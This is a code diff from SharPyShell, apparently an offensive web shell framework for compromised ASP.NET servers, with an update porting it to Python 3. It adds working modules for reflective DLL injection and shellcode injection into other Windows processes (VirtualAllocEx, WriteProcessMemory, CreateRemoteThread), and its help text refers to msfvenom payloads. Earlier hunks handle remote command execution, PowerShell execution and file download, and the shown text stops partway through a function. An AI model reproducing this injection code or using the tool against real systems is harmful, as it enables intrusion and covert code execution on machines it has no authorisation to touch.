|
||||
import ssl
|
||||
import urllib3
|
||||
from urllib3.contrib.socks import SOCKSProxyManager
|
||||
@@ -29,13 +30,13 @@ class Request(Singleton):
|
||||
if proxy:
|
||||
proxy_type = proxy.split('://')[0]
|
||||
if proxy_type == 'http' or proxy_type == 'https':
|
||||
self.__request_obj = urllib3.ProxyManager(proxy, ssl_version=ssl.PROTOCOL_TLSv1,
|
||||
self.__request_obj = urllib3.ProxyManager(proxy, ssl_version=ssl.PROTOCOL_TLS_CLIENT,
|
||||
timeout=self.__request_timeout, cert_reqs=self.__verify)
|
||||
else:
|
||||
self.__request_obj = SOCKSProxyManager(proxy, ssl_version=ssl.PROTOCOL_TLSv1,
|
||||
self.__request_obj = SOCKSProxyManager(proxy, ssl_version=ssl.PROTOCOL_TLS_CLIENT,
|
||||
timeout=self.__request_timeout, cert_reqs=self.__verify)
|
||||
else:
|
||||
self.__request_obj = urllib3.PoolManager(ssl_version=ssl.PROTOCOL_TLSv1, timeout=self.__request_timeout,
|
||||
self.__request_obj = urllib3.PoolManager(ssl_version=ssl.PROTOCOL_TLS_CLIENT, timeout=self.__request_timeout,
|
||||
cert_reqs=self.__verify)
|
||||
# print (vars(self))
|
||||
|
||||
@@ -50,4 +51,4 @@ class Request(Singleton):
|
||||
)
|
||||
except KeyboardInterrupt:
|
||||
raise Exception('Keyboard interrupt issued')
|
||||
return response_object.status, response_object.headers, response_object.data
|
||||
return response_object.status, response_object.headers, response_object.data
|
||||
|
||||
+25
-19
@@ -1,11 +1,13 @@
|
||||
import config
|
||||
from core import config
|
||||
from cmd import Cmd
|
||||
import os
|
||||
import glob
|
||||
import sys
|
||||
import importlib
|
||||
import shlex
|
||||
import hashlib
|
||||
import signal
|
||||
import platform
|
||||
from utils import prettify
|
||||
from utils.normalize_args import normalize_args
|
||||
from utils.random_string import random_generator
|
||||
@@ -28,9 +30,13 @@ class SharPyShellPrompt(Cmd):
|
||||
|
||||
def __init__(self, password, channel_enc_mode, default_shell, url, user_agent,
|
||||
cookies, custom_headers, insecure_ssl, proxy):
|
||||
reload(sys)
|
||||
sys.setdefaultencoding('utf8')
|
||||
signal.signal(signal.SIGTSTP, lambda s, f: self.do_quit())
|
||||
importlib.reload(sys)
|
||||
#sys.setdefaultencoding('utf8')
|
||||
password = password.encode('utf-8')
|
||||
if platform.system() == 'Windows':
|
||||
signal.signal(signal.SIGTERM, lambda s, f: self.do_quit())
|
||||
else:
|
||||
signal.signal(signal.SIGTSTP, lambda s, f: self.do_quit())
|
||||
Cmd.__init__(self)
|
||||
if channel_enc_mode == 'aes128':
|
||||
self.password = hashlib.md5(password).hexdigest()
|
||||
@@ -80,7 +86,7 @@ class SharPyShellPrompt(Cmd):
|
||||
return self.emptyline()
|
||||
if cmd.startswith('#'):
|
||||
response = self.onecmd_custom(cmd.lstrip('#'), args)
|
||||
print response
|
||||
print (response)
|
||||
return response
|
||||
if cmd in self.helper_commands:
|
||||
func = getattr(self, 'do_' + cmd.lstrip('#'))
|
||||
@@ -113,7 +119,7 @@ class SharPyShellPrompt(Cmd):
|
||||
"""Change the current working directory."""
|
||||
working_directory = self.modules_settings['working_directory']
|
||||
if arg == "" or arg == " " or arg == '.':
|
||||
print working_directory
|
||||
print (working_directory)
|
||||
return
|
||||
if arg == '..':
|
||||
arg = working_directory.split('\\')
|
||||
@@ -127,7 +133,7 @@ class SharPyShellPrompt(Cmd):
|
||||
elif len(arg) > 0:
|
||||
arg = '\\'.join(arg)
|
||||
else:
|
||||
print "Empty Path."
|
||||
print ("Empty Path.")
|
||||
return
|
||||
else:
|
||||
if '/' in arg:
|
||||
@@ -143,25 +149,25 @@ class SharPyShellPrompt(Cmd):
|
||||
if '{{{SharPyShellError}}}' not in response:
|
||||
self.modules_settings['working_directory'] = arg
|
||||
else:
|
||||
print response
|
||||
print (response)
|
||||
return response
|
||||
|
||||
def do_help(self, arg):
|
||||
"""List available commands."""
|
||||
if arg and arg.lstrip('#') in self.modules_loaded_tree:
|
||||
print self.modules_loaded[arg.lstrip('#')].complete_help
|
||||
print (self.modules_loaded[arg.lstrip('#')].complete_help)
|
||||
else:
|
||||
print "\n\n" + self.doc_header + "\n"
|
||||
print ("\n\n" + self.doc_header + "\n")
|
||||
data = [['\nCommands\n', '\nDesc\n']]
|
||||
for module_name in sorted(self.modules_loaded_tree):
|
||||
data.append(['#%s' % module_name, self.modules_loaded[module_name].short_help])
|
||||
print prettify.tablify(data, table_border=False)
|
||||
print (prettify.tablify(data, table_border=False))
|
||||
print
|
||||
print "\n" + "SharPyShell Helper Commands:" + "\n"
|
||||
print ("\n" + "SharPyShell Helper Commands:" + "\n")
|
||||
data = [['\nCommands\n', '\nDesc\n']]
|
||||
for module_name in sorted(self.helper_commands):
|
||||
data.append(['%s' % module_name, getattr(self, 'do_'+module_name).__doc__])
|
||||
print prettify.tablify(data, table_border=False)
|
||||
print (prettify.tablify(data, table_border=False))
|
||||
print
|
||||
|
||||
def complete_help(self, text, line, start_index, end_index):
|
||||
@@ -217,10 +223,10 @@ class SharPyShellPrompt(Cmd):
|
||||
return
|
||||
# Clean trailing newline if existent to prettify output
|
||||
result = result[:-1] if (
|
||||
isinstance(result, basestring) and
|
||||
isinstance(result, str) and
|
||||
result.endswith('\n')
|
||||
) else result
|
||||
print result
|
||||
print (result)
|
||||
|
||||
def cmdloop(self, intro=None):
|
||||
"""Repeatedly issue a prompt, accept input, parse an initial prefix
|
||||
@@ -251,7 +257,7 @@ class SharPyShellPrompt(Cmd):
|
||||
else:
|
||||
if self.use_rawinput:
|
||||
try:
|
||||
line = raw_input(self.prompt)
|
||||
line = input(self.prompt)
|
||||
except EOFError:
|
||||
line = 'EOF'
|
||||
else:
|
||||
@@ -279,10 +285,10 @@ class SharPyShellPrompt(Cmd):
|
||||
def do_quit(self, args=[]):
|
||||
"""Quit the program."""
|
||||
if self.online:
|
||||
print "\n\nQuitting...\n"
|
||||
print self.env_obj.clear_env(self.modules_settings)
|
||||
print ("\n\nQuitting...\n")
|
||||
print (self.env_obj.clear_env(self.modules_settings))
|
||||
else:
|
||||
print args[0] + "\n\n\nTarget Offline...\n"
|
||||
print (args[0] + "\n\n\nTarget Offline...\n")
|
||||
raise SystemExit
|
||||
|
||||
def do_exit(self, args=[]):
|
||||
|
||||
+4
-4
@@ -1,7 +1,7 @@
|
||||
import sys
|
||||
import os
|
||||
|
||||
sharpyshell_version='1.0'
|
||||
sharpyshell_version='1.3'
|
||||
|
||||
header = '#SharPyShell v' + sharpyshell_version + ' - @splinter_code'
|
||||
banner = """
|
||||
@@ -19,7 +19,7 @@ banner = """
|
||||
|
||||
""" % header
|
||||
|
||||
sharpyshell_path=os.path.dirname(os.path.realpath(sys.argv[0])) + '/'
|
||||
sharpyshell_path=os.path.dirname(os.path.realpath(sys.argv[0])) + os.sep
|
||||
sys.path.insert(0, sharpyshell_path)
|
||||
modules_paths=sharpyshell_path + 'modules/'
|
||||
output_path=sharpyshell_path + 'output/'
|
||||
modules_paths=sharpyshell_path + 'modules' + os.sep
|
||||
output_path=sharpyshell_path + 'output' + os.sep
|
||||
|
||||
Binary file not shown.
Binary file not shown.
+16
-9
@@ -2,6 +2,7 @@ from core.Module import Module, ModuleException
|
||||
from core import config
|
||||
import ntpath
|
||||
import traceback
|
||||
from time import sleep
|
||||
|
||||
|
||||
class DownloadModuleException(ModuleException):
|
||||
@@ -23,7 +24,7 @@ class Download(Module):
|
||||
Positional arguments:
|
||||
remote_input_path The file path you want to download from the remote server
|
||||
local_output_path The path where the file will be saved on your local machine
|
||||
Default: 'output/' directory of Sharpyshell directory
|
||||
Default: 'output' directory of Sharpyshell directory
|
||||
chunk_size The maximum limit of a chunk to be transferred over the network
|
||||
Default: 102400
|
||||
|
||||
@@ -36,7 +37,7 @@ class Download(Module):
|
||||
#download C:\windows\system32\cmd.exe /home/user/cmd.exe 1024
|
||||
"""
|
||||
|
||||
_runtime_code = ur"""
|
||||
_runtime_code = r"""
|
||||
using System;using System.IO;using System.Diagnostics;using System.Text;
|
||||
public class SharPyShell{
|
||||
public byte[] Download(string arg){
|
||||
@@ -56,7 +57,7 @@ class Download(Module):
|
||||
}
|
||||
"""
|
||||
|
||||
__runtime_code_split_file = ur"""
|
||||
__runtime_code_split_file = r"""
|
||||
using System;using System.IO;using System.Diagnostics;using System.Text;
|
||||
public class SharPyShell{
|
||||
public byte[] Download(string arg, int chunk, int offset){
|
||||
@@ -79,7 +80,7 @@ class Download(Module):
|
||||
}
|
||||
"""
|
||||
|
||||
__runtime_code_get_file_size = ur"""
|
||||
__runtime_code_get_file_size = r"""
|
||||
using System;using System.IO;using System.Diagnostics;using System.Text;
|
||||
public class SharPyShell{
|
||||
string GetFileSize(string path){
|
||||
@@ -115,8 +116,14 @@ class Download(Module):
|
||||
file_open_mode = 'ab'
|
||||
else:
|
||||
file_open_mode = 'wb'
|
||||
with open(output_path, file_open_mode) as outfile:
|
||||
outfile.write(file_content)
|
||||
try:
|
||||
with open(output_path, file_open_mode) as outfile:
|
||||
outfile.write(file_content)
|
||||
# tune for Windows race condition on file access when the chunk_size is very small, weird...
|
||||
except PermissionError:
|
||||
sleep(1)
|
||||
with open(output_path, file_open_mode) as outfile:
|
||||
outfile.write(file_content)
|
||||
output = "File Downloaded correctly to " + output_path
|
||||
return output
|
||||
|
||||
@@ -163,11 +170,11 @@ class Download(Module):
|
||||
encrypted_request = self._encrypt_request(req)
|
||||
encrypted_response = self._post_request(encrypted_request)
|
||||
decrypted_response = self._decrypt_response(encrypted_response)
|
||||
file_content = self._parse_response(decrypted_response)
|
||||
file_content = decrypted_response
|
||||
if len(requests) > 1:
|
||||
parsed_response = self.__write_local_file(file_content, download_output_path, split=True)
|
||||
print 'Chunk ' + str(i + 1) + ' --> ' + str(chunk_size * i) + ' - ' +\
|
||||
str(chunk_size * i + chunk_size) + ' bytes written correctly to ' + download_output_path
|
||||
print ('Chunk ' + str(i + 1) + ' --> ' + str(chunk_size * i) + ' - ' +\
|
||||
str(chunk_size * i + chunk_size) + ' bytes written correctly to ' + download_output_path)
|
||||
else:
|
||||
parsed_response = self.__write_local_file(file_content, download_output_path)
|
||||
except ModuleException as module_exc:
|
||||
|
||||
Binary file not shown.
Binary file not shown.
+1
-1
@@ -30,7 +30,7 @@ class Exec_cmd(Module):
|
||||
#exec_cmd echo test > C:\Windows\Temp\test.txt
|
||||
"""
|
||||
|
||||
_runtime_code = ur"""
|
||||
_runtime_code = r"""
|
||||
using System;using System.IO;using System.Diagnostics;using System.Text;
|
||||
public class SharPyShell
|
||||
{
|
||||
|
||||
+2
-2
@@ -32,7 +32,7 @@ class Exec_ps(Module):
|
||||
|
||||
"""
|
||||
|
||||
_runtime_code = ur"""
|
||||
_runtime_code = r"""
|
||||
using System;using System.IO;using System.Diagnostics;using System.Text;
|
||||
public class SharPyShell
|
||||
{
|
||||
@@ -80,7 +80,7 @@ class Exec_ps(Module):
|
||||
if '""' in cmd:
|
||||
cmd = cmd.replace('""', '"')
|
||||
cmd = '$ProgressPreference = "SilentlyContinue";' + cmd
|
||||
cmd = b64encode(cmd.encode('UTF-16LE'))
|
||||
cmd = str(b64encode(cmd.encode('UTF-16LE')), 'UTF-8')
|
||||
working_path = self._module_settings['working_directory']
|
||||
return self._runtime_code % (cmd, working_path)
|
||||
|
||||
|
||||
@@ -0,0 +1,76 @@
|
||||
from modules.inject_shellcode import Inject_shellcode, ModuleException
|
||||
from core import config
|
||||
from utils import gzip_utils
|
||||
import pefile
|
||||
|
||||
|
||||
class InjectDllReflectiveModuleException(ModuleException):
|
||||
pass
|
||||
|
||||
|
||||
class Inject_dll_reflective(Inject_shellcode):
|
||||
_exception_class = InjectDllReflectiveModuleException
|
||||
short_help = "Inject a reflective DLL in a new (or existing) process"
|
||||
complete_help = r"""
|
||||
Author: @stephenfewer
|
||||
Links: https://github.com/stephenfewer/ReflectiveDLLInjection
|
||||
|
||||
|
||||
Inject a reflective DLL into a remote process.
|
||||
You can choose to create a new process or use a pid of an existing process as a host process.
|
||||
The dll_path is a relative path to a dll that exists in the folder 'reflective_dll/'.
|
||||
The dll must be compiled with the 'ReflectiveLoader' exported function otherwise it cannot be executed
|
||||
at runtime.
|
||||
You can use one of the following supported injection techniques:
|
||||
- remote_virtual: classic injection:
|
||||
VirtualAllocEx (RWX) -> WriteProcessMemory -> CreateRemoteThread
|
||||
- remote_virtual_protect: with this technique you never allocate RWX memory (polymorphic encoders won't work):
|
||||
VirtualAllocEx(RW) -> WriteProcessMemory -> VirtualProtect(RX) -> CreateRemoteThread
|
||||
Note that when you try to inject into an existing process you should ensure you have the rights to open
|
||||
a handle to that process otherwise the injection cannot be performed.
|
||||
|
||||
|
||||
Usage:
|
||||
#inject_dll_reflective dll_path [injection_type] [remote_process]
|
||||
|
||||
Positional arguments:
|
||||
dll_path name of a .dll module in the 'reflective_dll/' directory
|
||||
the DLL must contain a ReflectiveLoader exported function
|
||||
injection_type the process injection method to use for injecting shellcode
|
||||
Allowed values: 'remote_virtual', 'remote_virtual_protect'
|
||||
Default: 'remote_virtual'
|
||||
remote_process path to an executable to spawn as a host process for the shellcode
|
||||
if you pass a pid it will try to inject into an existing running process
|
||||
Default: 'cmd.exe'
|
||||
|
||||
Examples:
|
||||
Inject a messagebox reflective DLL into an existing process:
|
||||
#inject_dll_reflective messagebox_reflective.dll remote_virtual 2264
|
||||
|
||||
"""
|
||||
|
||||
def __get_reflective_loader_offset(self, dll_path):
|
||||
pe_parser = pefile.PE(dll_path)
|
||||
for exported_function in pe_parser.DIRECTORY_ENTRY_EXPORT.symbols:
|
||||
if 'ReflectiveLoader' in str(exported_function.name):
|
||||
reflective_loader_rva = exported_function.address
|
||||
return hex(pe_parser.get_offset_from_rva(reflective_loader_rva))
|
||||
raise self._exception_class('The DLL does not contain a reflective loader function.\n')
|
||||
|
||||
def _create_request(self, args):
|
||||
dll_path, injection_type, remote_process,\
|
||||
thread_timeout, thread_parameters, code_offset = self._parse_run_args(args)
|
||||
dll_path = config.modules_paths + 'reflective_dll/' + dll_path
|
||||
code_offset = str(self.__get_reflective_loader_offset(dll_path))
|
||||
with open(dll_path, 'rb') as file_handle:
|
||||
byte_arr = file_handle.read()
|
||||
base64_compressed_dll = gzip_utils.get_compressed_base64_from_binary(byte_arr)
|
||||
if injection_type == 'remote_virtual_protect':
|
||||
runtime_code = self._runtime_code % (self._runtime_code_virtual_protect, base64_compressed_dll,
|
||||
thread_parameters, remote_process,
|
||||
thread_timeout, code_offset)
|
||||
else:
|
||||
runtime_code = self._runtime_code % (self._runtime_code_virtual, base64_compressed_dll,
|
||||
thread_parameters, remote_process,
|
||||
thread_timeout, code_offset)
|
||||
return runtime_code
|
||||
File diff suppressed because one or more lines are too long
@@ -0,0 +1,300 @@
|
||||
from core.Module import Module, ModuleException
|
||||
from utils import gzip_utils
|
||||
|
||||
|
||||
class InjectShellcodeModuleException(ModuleException):
|
||||
pass
|
||||
|
||||
|
||||
class Inject_shellcode(Module):
|
||||
_exception_class = InjectShellcodeModuleException
|
||||
short_help = "Inject shellcode in a new (or existing) process"
|
||||
complete_help = r"""
|
||||
This module allow to inject your shellcode in a host process.
|
||||
You can choose to create a new process or use a pid of an existing process as a host process.
|
||||
If you create the payload for the shellcode from msfvenom ensure you use the flag --format raw.
|
||||
You can use one of the following supported injection techniques:
|
||||
|
||||
- remote_virtual: classic injection:
|
||||
VirtualAllocEx (RWX) -> WriteProcessMemory -> CreateRemoteThread
|
||||
- remote_virtual_protect: with this technique you never allocate RWX memory (polymorphic encoders won't work):
|
||||
VirtualAllocEx(RW) -> WriteProcessMemory -> VirtualProtect(RX) -> CreateRemoteThread
|
||||
|
||||
Note that when you try to inject into an existing process you should ensure you have the rights to open
|
||||
a handle to that process otherwise the injection cannot be performed.
|
||||
|
||||
Usage:
|
||||
#inject_shellcode shellcode_path [injection_type] [remote_process]
|
||||
|
||||
Positional arguments:
|
||||
shellcode_path path to a file containing shellcode in raw format (msfvenom --format raw)
|
||||
injection_type the process injection method to use for injecting shellcode
|
||||
Allowed values: 'remote_virtual', 'remote_virtual_protect'
|
||||
Default: 'remote_virtual'
|
||||
remote_process path to an executable to spawn as a host process for the DLL code
|
||||
if you pass a pid it will try to inject into an existing running process
|
||||
Default: 'cmd.exe'
|
||||
|
||||
Examples:
|
||||
Inject generated shellcode:
|
||||
#inject_shellcode /path/to/shellcode
|
||||
Inject shellcode with specific injection type:
|
||||
#inject_shellcode /path/to/shellcode 'remote_virtual_protect'
|
||||
Inject shellcode into an existing process
|
||||
#inject_shellcode /path/to/shellcode 'remote_virtual' '1550'
|
||||
|
||||
"""
|
||||
|
||||
_runtime_code = r"""
|
||||
using System;using System.IO;using System.Diagnostics;using System.Text;
|
||||
using System.Runtime.InteropServices; using System.IO.Compression;
|
||||
|
||||
public class SharPyShell
|
||||
{
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out uint lpNumberOfBytesWritten);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError=true)]
|
||||
static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
static extern bool CloseHandle(IntPtr hObject);
|
||||
|
||||
[DllImport("ntdll.dll", SetLastError = true)]
|
||||
static extern UInt32 NtCreateThreadEx(ref IntPtr hThread,UInt32 DesiredAccess,IntPtr ObjectAttributes,IntPtr ProcessHandle,IntPtr StartAddress,IntPtr lParam,bool CreateSuspended,UInt32 StackZeroBits,UInt32 SizeOfStackCommit,UInt32 SizeOfStackReserve,IntPtr BytesBuffer);
|
||||
|
||||
const uint PAGE_ALIGN = 1024;
|
||||
|
||||
const int PROCESS_CREATE_THREAD = 0x0002;
|
||||
const int PROCESS_QUERY_INFORMATION = 0x0400;
|
||||
const int PROCESS_VM_OPERATION = 0x0008;
|
||||
const int PROCESS_VM_WRITE = 0x0020;
|
||||
const int PROCESS_VM_READ = 0x0010;
|
||||
|
||||
const uint MEM_COMMIT = 0x00001000;
|
||||
const uint MEM_RESERVE = 0x00002000;
|
||||
const uint PAGE_READWRITE = 0x04;
|
||||
const uint PAGE_EXECUTE_READ = 0x20;
|
||||
const uint PAGE_EXECUTE_READWRITE = 0x40;
|
||||
|
||||
const uint WAIT_OBJECT_0 = 0x00000000;
|
||||
|
||||
public string InjectShellcode(byte[] byteArrayCode, byte[] threadParameters, string process, uint threadTimeout, ulong offset)
|
||||
{
|
||||
string output = "";
|
||||
string error_string = "\n\n\t{{{SharPyShellError}}}";
|
||||
int processId=0;
|
||||
Process targetProcess = new Process();
|
||||
IntPtr targetProcessHandle = IntPtr.Zero;
|
||||
IntPtr injectedThreadHandle = IntPtr.Zero;
|
||||
bool usingExistingProcess = false;
|
||||
try
|
||||
{
|
||||
if(!Int32.TryParse(process, out processId)){
|
||||
targetProcess = Process.Start(process);
|
||||
processId = targetProcess.Id;
|
||||
output += "\n\n\tStarted process " + process + " with pid " + processId.ToString();
|
||||
}
|
||||
else{
|
||||
targetProcess = Process.GetProcessById(processId);
|
||||
usingExistingProcess = true;
|
||||
output += "\n\n\tTrying to open running process with pid " + processId.ToString();
|
||||
}
|
||||
string processName = targetProcess.ProcessName;
|
||||
string targetProcessPid = processId.ToString();
|
||||
targetProcessHandle = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, processId);
|
||||
if(targetProcessHandle == (IntPtr)0){
|
||||
output += error_string + "\n\tOpenProcess on pid " + targetProcessPid + " failed with error code " + Marshal.GetLastWin32Error();
|
||||
return output;
|
||||
}
|
||||
output += "\n\n\tCorreclty opened a handle on process with pid " + targetProcessPid;
|
||||
|
||||
uint codeMemorySize = (uint)(byteArrayCode.Length * Marshal.SizeOf(typeof(byte)) + 1);
|
||||
if(codeMemorySize %% PAGE_ALIGN != 0)
|
||||
codeMemorySize += PAGE_ALIGN - ((uint)(byteArrayCode.Length+1) %% PAGE_ALIGN);
|
||||
%s
|
||||
|
||||
codeMemAddress = (IntPtr)((ulong)codeMemAddress + (ulong)offset);
|
||||
if(threadParameters.Length > 0){
|
||||
output += "\n\n\tThread parameters detected. Starting to allocate memory RW ...";
|
||||
uint threadParametersSize = (uint)(threadParameters.Length * Marshal.SizeOf(typeof(byte)) + 1);
|
||||
IntPtr threadParametersMemAddress = VirtualAllocEx(targetProcessHandle, IntPtr.Zero, threadParametersSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||
if(threadParametersMemAddress == (IntPtr)0){
|
||||
output += error_string + "\n\tError allocating thread parameters buffer memory.\n\tVirtualAllocEx failed with error code " + Marshal.GetLastWin32Error();
|
||||
return output;
|
||||
}
|
||||
uint bytesWrittenThreadParams;
|
||||
output += "\n\n\tAllocated memory RW for thread parameters of " + threadParametersSize.ToString() + " bytes";
|
||||
if(!WriteProcessMemory(targetProcessHandle, threadParametersMemAddress, threadParameters, threadParametersSize, out bytesWrittenThreadParams)){
|
||||
output += error_string + "\n\tError writing code buffer in memory.\n\tWriteProcessMemory failed with error code " + Marshal.GetLastWin32Error();
|
||||
return output;
|
||||
}
|
||||
output += "\n\n\tThread parameters written into remote process. Bytes written: " + bytesWrittenThreadParams.ToString();
|
||||
if(Environment.OSVersion.Version < new Version(6, 2) && usingExistingProcess){
|
||||
output += "\n\n\tDetected windows version < 6.2 and injection across sessions. Using NtCreateThreadEx...";
|
||||
NtCreateThreadEx(ref injectedThreadHandle, 0x1FFFFF, IntPtr.Zero, targetProcessHandle, codeMemAddress, threadParametersMemAddress, false, 0, 0, 0, IntPtr.Zero);
|
||||
}
|
||||
else{
|
||||
output += "\n\n\tUsing CreateRemoteThread...";
|
||||
injectedThreadHandle = CreateRemoteThread(targetProcessHandle, IntPtr.Zero, 0, codeMemAddress, threadParametersMemAddress, 0, IntPtr.Zero);
|
||||
}
|
||||
}
|
||||
else{
|
||||
if(Environment.OSVersion.Version < new Version(6, 2) && usingExistingProcess){
|
||||
output += "\n\n\tDetected windows version < 6.2 and injection across sessions. Using NtCreateThreadEx...";
|
||||
NtCreateThreadEx(ref injectedThreadHandle, 0x1FFFFF, IntPtr.Zero, targetProcessHandle, codeMemAddress, IntPtr.Zero, false, 0, 0, 0, IntPtr.Zero);
|
||||
}
|
||||
else{
|
||||
output += "\n\n\tUsing CreateRemoteThread...";
|
||||
injectedThreadHandle = CreateRemoteThread(targetProcessHandle, IntPtr.Zero, 0, codeMemAddress, IntPtr.Zero, 0, IntPtr.Zero);
|
||||
}
|
||||
}
|
||||
if(injectedThreadHandle == (IntPtr)0){
|
||||
output += error_string + "\n\tError creating remote thread into target process.\n\tRemote Thread creation failed with error code " + Marshal.GetLastWin32Error();
|
||||
return output;
|
||||
}
|
||||
output += "\n\n\tRemote Thread started!";
|
||||
if(threadTimeout>0){
|
||||
uint wait_for = WaitForSingleObject(injectedThreadHandle, threadTimeout);
|
||||
if(wait_for == WAIT_OBJECT_0){
|
||||
output += "\n\n\tCode executed and exited correctly";
|
||||
try{
|
||||
Process.GetProcessById(processId);
|
||||
targetProcess.Kill();
|
||||
output += "\n\n\tProcess " + processName + " with pid " + targetProcessPid + " has been killed";
|
||||
}
|
||||
catch{
|
||||
output += "\n\n\tProcess " + processName + " with pid " + targetProcessPid + " has exited";
|
||||
}
|
||||
}
|
||||
else{
|
||||
output += "\n\n\tRemote Thread Timed Out";
|
||||
}
|
||||
}
|
||||
else{
|
||||
output += "\n\n\tCode executed left in background as an async thread in the process '" + processName + ".exe' with pid " + targetProcessPid;
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
output += error_string + "\n\tException occurred. " + ex.Message;
|
||||
return output;
|
||||
}
|
||||
finally{
|
||||
if((int)injectedThreadHandle > 0)
|
||||
CloseHandle(injectedThreadHandle);
|
||||
if((int)targetProcessHandle > 0)
|
||||
CloseHandle(targetProcessHandle);
|
||||
}
|
||||
return output + "\n\n";
|
||||
}
|
||||
|
||||
private byte[] Decompress(byte[] data)
|
||||
{
|
||||
using (MemoryStream compressedStream = new MemoryStream(data))
|
||||
using (GZipStream zipStream = new GZipStream(compressedStream, CompressionMode.Decompress))
|
||||
using (MemoryStream resultStream = new MemoryStream())
|
||||
{
|
||||
byte[] buffer = new byte[16*1024];
|
||||
int read;
|
||||
while ((read = zipStream.Read(buffer, 0, buffer.Length)) > 0)
|
||||
{
|
||||
resultStream.Write(buffer, 0, read);
|
||||
}
|
||||
return resultStream.ToArray();
|
||||
}
|
||||
}
|
||||
|
||||
public byte[] ExecRuntime()
|
||||
{
|
||||
string shellcodeBase64 = "%s";
|
||||
byte[] shellcodeCompressed = Convert.FromBase64String(shellcodeBase64);
|
||||
byte[] shellcodeByteArr = Decompress(shellcodeCompressed);
|
||||
byte[] threadParameters = %s;
|
||||
string output_func=InjectShellcode(shellcodeByteArr, threadParameters, @"%s", %s, %s);
|
||||
byte[] output_func_byte=Encoding.UTF8.GetBytes(output_func);
|
||||
return(output_func_byte);
|
||||
}
|
||||
}
|
||||
"""
|
||||
|
||||
_runtime_code_virtual = r"""
|
||||
IntPtr codeMemAddress = VirtualAllocEx(targetProcessHandle, IntPtr.Zero, codeMemorySize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
|
||||
if(codeMemAddress == (IntPtr)0){
|
||||
output += error_string + "\n\tError allocating code buffer memory.\n\tVirtualAllocEx failed with error code " + Marshal.GetLastWin32Error();
|
||||
return output;
|
||||
}
|
||||
uint bytesWrittenCode;
|
||||
output += "\n\n\tAllocated memory RWX for code of " + codeMemorySize.ToString() + " bytes";
|
||||
if(!WriteProcessMemory(targetProcessHandle, codeMemAddress, byteArrayCode, codeMemorySize, out bytesWrittenCode)){
|
||||
output += error_string + "\n\tError writing code buffer in memory.\n\tWriteProcessMemory failed with error code " + Marshal.GetLastWin32Error();
|
||||
return output;
|
||||
}
|
||||
output += "\n\n\tCode written into remote process. Bytes written: " + bytesWrittenCode.ToString();
|
||||
"""
|
||||
|
||||
_runtime_code_virtual_protect = r"""
|
||||
uint codeMemSize = codeMemorySize;
|
||||
IntPtr codeMemAddress = VirtualAllocEx(targetProcessHandle, IntPtr.Zero, codeMemorySize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||
if(codeMemAddress == (IntPtr)0){
|
||||
output += error_string + "\n\tError allocating code buffer memory.\n\tVirtualAllocEx failed with error code " + Marshal.GetLastWin32Error();
|
||||
return output;
|
||||
}
|
||||
uint bytesWrittenCode;
|
||||
output += "\n\n\tAllocated memory RW for code of " + codeMemorySize.ToString() + " bytes";
|
||||
if(!WriteProcessMemory(targetProcessHandle, codeMemAddress, byteArrayCode, codeMemorySize, out bytesWrittenCode)){
|
||||
output += error_string + "\n\tError writing code buffer in memory.\n\tWriteProcessMemory failed with error code " + Marshal.GetLastWin32Error();
|
||||
return output;
|
||||
}
|
||||
output += "\n\n\tCode written into remote process. Bytes written: " + bytesWrittenCode.ToString();
|
||||
uint lpflOldProtect;
|
||||
if(!VirtualProtectEx(targetProcessHandle, codeMemAddress, codeMemSize, PAGE_EXECUTE_READ, out lpflOldProtect)){
|
||||
output += error_string + "\n\tError in changing memory from RW to RX.\n\tVirtualProtectEx failed with error code " + Marshal.GetLastWin32Error();
|
||||
return output;
|
||||
}
|
||||
output += "\n\n\tChanged allocated memory for code from RW to RX";
|
||||
"""
|
||||
|
||||
_default_injection_type = 'remote_virtual'
|
||||
_default_remote_process = 'cmd.exe'
|
||||
_default_thread_timeout = '0'
|
||||
_default_thread_parameters = '{}'
|
||||
_default_code_offset = '0'
|
||||
|
||||
def _parse_run_args(self, args):
|
||||
if len(args) < 1:
|
||||
raise self._exception_class('#inject_shellcode: Not enough arguments. 1 Argument required.\n')
|
||||
args_parser = {k: v for k, v in enumerate(args)}
|
||||
shellcode_path = args_parser.get(0)
|
||||
injection_type = args_parser.get(1, self._default_injection_type)
|
||||
remote_process = args_parser.get(2, self._default_remote_process)
|
||||
thread_timeout = args_parser.get(3, self._default_thread_timeout)
|
||||
thread_parameters = args_parser.get(4, self._default_thread_parameters)
|
||||
code_offset = args_parser.get(5, self._default_code_offset)
|
||||
return shellcode_path, injection_type, remote_process, thread_timeout, thread_parameters, code_offset
|
||||
|
||||
def _create_request(self, args):
|
||||
shellcode_path, injection_type, remote_process,\
|
||||
thread_timeout, thread_parameters, code_offset = self._parse_run_args(args)
|
||||
base64_compressed_shellcode = gzip_utils.get_compressed_base64_from_file(shellcode_path)
|
||||
if injection_type == 'remote_virtual_protect':
|
||||
runtime_code = self._runtime_code % (self._runtime_code_virtual_protect, base64_compressed_shellcode,
|
||||
thread_parameters, remote_process,
|
||||
